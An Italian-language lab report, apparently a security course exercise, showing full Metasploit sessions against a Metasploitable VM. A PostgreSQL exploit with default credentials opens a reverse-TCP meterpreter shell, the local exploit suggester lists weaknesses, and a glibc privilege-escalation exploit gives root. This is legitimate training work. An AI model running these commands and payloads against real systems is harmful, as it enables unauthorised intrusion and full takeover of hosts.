

## REPORT S7-L3

Come primo passo dell'esercizio ho avviato msfconsole e cercato l'exploit per ottenere accesso a Metasploitable. Una volta configurato l'exploit con LHOST e RHOST si manda l'exploit con il comando run e otteniamo accesso alla macchina target(anche se non come root).

```
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

  Name      Current Setting  Required  Description
  ---      -
  VERBOSE   false           no       Enable verbose output

Used when connecting via an existing SESSION:

  Name      Current Setting  Required  Description
  ---      -
  SESSION                   no       The session to run this module on

Used when making a new connection via RHOSTS:

  Name      Current Setting  Required  Description
  ---      -
  DATABASE  postgres        no       The database to authenticate against
  PASSWORD  postgres        no       The password for the specified username. Leave blank for a random password.
  RHOSTS                   no       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
  RPORT     5432            no       The target port
  USERNAME  postgres        no       The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST                   yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0   Linux x86

View the full module info with the info, or info -d command.

msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.168.1.25
lhost => 192.168.1.25
msf6 exploit(linux/postgres/postgres_payload) > run

[-] Msf::OptionValidateError A SESSION or RHOST must be provided
msf6 exploit(linux/postgres/postgres_payload) > set rhost 192.168.1.40
rhost => 192.168.1.40
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/iUnLKntD.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 1 opened (192.168.1.25:4444 -> 192.168.1.40:51101) at 2024-12-18 14:46:53 +0100

meterpreter > 
```

Successivamente ho trovato il modulo post `multi/recon/local_exploit_suggester` e dopo averlo settato sulla sessione giusta appena creata ho mandato il comando run.

```
msf6 exploit(linux/postgres/postgres_payload) > search post recon exploi

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  post/multi/recon/local_exploit_suggester .              normal No     Multi Recon Local Exploit Suggester
1  exploit/multi/http/wp_popular_posts_rce  2021-06-11      normal Yes    Wordpress Popular Posts Authenticated RCE

Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/http/wp_popular_posts_rce

msf6 exploit(linux/postgres/postgres_payload) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

Name           Current Setting  Required  Description
-             -
SESSION        false           yes       The session to run this module on
SHOWDESCRIPTION false           yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.1.40 - Collecting local exploits for x86/linux...
[*] 192.168.1.40 - 198 exploit checks are being tried...
[+] 192.168.1.40 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[+] 192.168.1.40 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[+] 192.168.1.40 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.1.40 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[+] 192.168.1.40 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.1.40 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.1.40 - Valid modules for session 1:

#  Name                                     Potentially Vulnerable?  Check Result
-  -
1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc  Yes                      The target appears to be vulnerable.
2  exploit/linux/local/glibc_origin_expansion_priv_esc  Yes                      The target appears to be vulnerable.
3  exploit/linux/local/netfilter_priv_esc_ipv4          Yes                      The target appears to be vulnerable.
4  exploit/linux/local/ptrace_sudo_token_priv_esc       Yes                      The service is running, but could not be validated.
5  exploit/linux/local/su_login                         Yes                      The target appears to be vulnerable.
6  exploit/unix/local/setuid_nmap                       Yes                      The target is vulnerable. /usr/bin/nmap is setuid
is setuid
7  exploit/linux/local/abrt_raceabrt_priv_esc           No                       The target is not exploitable.
8  exploit/linux/local/abrt_sosreport_priv_esc          No                       The target is not exploitable.
```

Questo metodo post mi ha riportato alcune vulnerabilità disponibili sulla macchina target (in questo caso 6).

Ho quindi provato il primo exploit sulla sessione creata in origine, con l'unica attenzione di cambiare il payload da **x64 a x86**.

Con questo procedimento ho effettuato con successo un escalation di privilegi.

Con gli altri exploit ho provato ma non sono evidentemente riuscito a settarli bene per farli funzionare.

```
File Actions Edit View Help
64 exploit/multi/local/xorg_x11_suid_server_modulepath No The target

[*] Post module execution completed
msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

Name          Current Setting  Required  Description
--          --
SESSION       /bin/ping       yes       The session to run this module on
SUID_EXECUTABLE /bin/ping       yes       Path to a SUID executable

Payload options (linux/x64/meterpreter/reverse_tcp):

Name          Current Setting  Required  Description
--          --
LHOST         192.168.1.25    yes       The listen address (an interface may be specified)
LPORT         4444            yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > target
[-] Unknown command: target. Run the help command for more details.
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show target
[-] Invalid parameter "target", use "show -h" for more information
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > show targets

Exploit targets:

Id  Name
--  --
=> 0   Automatic
1   Linux x86
```

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set target 1
target => 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.UhD8q7hLlb' (1271 bytes) ...
[*] Writing '/tmp/.ptawoeRD4' (296 bytes) ...
[*] Writing '/tmp/.LcizMwUb5' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 2 opened (192.168.1.25:4444 -> 192.168.1.40:46733) at 2024-12-18 16:44:25 +0100

meterpreter > getuid
Server username: root
meterpreter > █
```